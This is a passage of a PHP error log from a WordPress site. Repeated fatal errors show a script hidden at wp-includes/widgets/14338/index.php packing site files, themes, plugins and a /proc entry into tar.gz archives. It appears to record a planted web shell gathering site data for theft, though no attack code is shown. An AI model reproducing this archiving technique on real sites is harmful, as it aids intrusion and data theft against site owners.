  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:24:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:25:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:27:16 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 1004543730 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:10 UTC] PHP Fatal error:  Uncaught RuntimeException: phar error: unable to open file "/proc/57490/task/57490/net/ip_tables_names" to add to phar archive in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->addFile()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.asset.php.asset.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:32 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:28:59 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:29:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:29:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:29:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:29:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:29:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:29:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:32:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:32:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:32:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/handlers.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:32:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/moxie.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:32:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:32:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:05 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/license.txt.txt.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:33:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/themes.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:34:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:34:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:35:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/swfobject.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:37:51 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:37:54 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/wp-api.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:46:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/loadingAnimation.gif.gif.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:48:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/plugins.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 19:50:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/plupload.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
